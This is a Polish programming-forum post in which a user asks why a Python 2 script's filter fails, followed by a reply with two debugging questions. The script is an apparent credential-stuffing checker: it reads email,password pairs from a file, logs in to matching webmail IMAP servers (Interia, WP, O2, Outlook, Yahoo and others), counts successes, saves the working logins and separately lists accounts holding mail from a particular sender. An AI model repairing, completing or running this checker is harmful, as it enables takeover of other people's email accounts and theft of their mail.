Zapis do pliku oraz filtrowanie

0

Witam serdecznie. Czy mógłby ktoś rzucic okiem na ten skrypt i powiedziec co jest nie tak ?
Chodzi o to ze w pliku "czesz" ktory jest tworzony na koncu jest to samo co w pliku "output" a powinno byc tylko to co zawiera fraze [email protected].
Bardzo prosze o pomoc bo ja juz sily nie mam.
Pozdrawiam

#!/usr/bin/env python

import imaplib
import ConfigParser
import os
import argparse
 
parser = argparse.ArgumentParser()
parser.add_argument("input")
parser.add_argument("output")
args = parser.parse_args()
 
 
 
aliasy = ['interia.pl', 'poczta.fm', 'interia.eu', 'wp.pl', 'tlen.pl', 'go2.pl', 'o2.pl', 'home.pl', 'outlook.com', 'yahoo.com', 'yahoo.pl', 'poczta.pl', 'neostrada.pl']
imap = ['poczta.interia.pl', 'poczta.interia.pl', 'poczta.interia.pl', 'imap.wp.pl', 'poczta.o2.pl', 'poczta.o2.pl', 'poczta.o2.pl', 'post.pl', 'imap-mail.outlook.com', 'imap.mail.yahoo.com', 'imap.mail.yahoo.com', 'imap.poczta.pl', 'poczta.neostrada.pl']
port = ['993', '993', '993', '993', '993', '993', '993', '143', '993', '993', '993', '993', '143']
 
def connection(ima,por,log,pas):
  server= imaplib.IMAP4_SSL(ima,por)
  server.login(log,pas)
  rv, data = server.select("INBOX")
  if rv!="OK":
    print "brak folderu inbox"
  rv, data = server.search(None, '(FROM "[email protected]")')
  if rv=="OK":
    if data!="":
      ztagiem.append(mail+":"+passw)
  return connection
 
         
with open(args.input) as infile:
      mail = ""
      passw = ""
      dobre =[]
      ztagiem =[]
      data2 = infile.read()
      mlist2 = data2.splitlines()
      licz=0
      udane=0
      for line in mlist2:
        if (line.split(",")[0]=="end!!!"):
          break
        else:  
          mail=line.split(",")[0]
          passw=line.split(",")[1]
          if "@" in mail:
            if mail.split("@")[1] in aliasy:
              temp3=aliasy.index(mail.split("@")[1])
             
              print "proba logowania do " +imap[temp3] +"   " +mail+":"+passw+   "   udanych   " + str(udane) + "/" +str(licz)
              try:
                connection(imap[temp3],port[temp3],mail,passw)
                print "udane"
               
               
                dobre.append(mail+":"+passw)
                udane+=1
               
              except imaplib.IMAP4.error:
                print "niestety nie udane (najprawdopodobniej zle haslo)"
              except KeyboardInterrupt:
                print "przerwane przez usera"
                break
              except:
                print "niestety nie udane (blad ssl)"
               
              licz+=1
             
            else:
                licz+=1
           
             
          else:
            licz+=1
            continue
      print dobre
      f = open(args.output, 'w')
      f.write("\n".join(dobre))
      s = open("czesz.txt", 'w')
      s.write("\n".join(ztagiem))
0
  • jakie wartosci maja 'rv' i 'data' po wykonaniu rv, data = server.search(None, '(FROM "[email protected]")')?
  • co masz w 'ztagiem' przed proba wpisania do pliku wynikowego>

1 użytkowników online, w tym zalogowanych: 0, gości: 1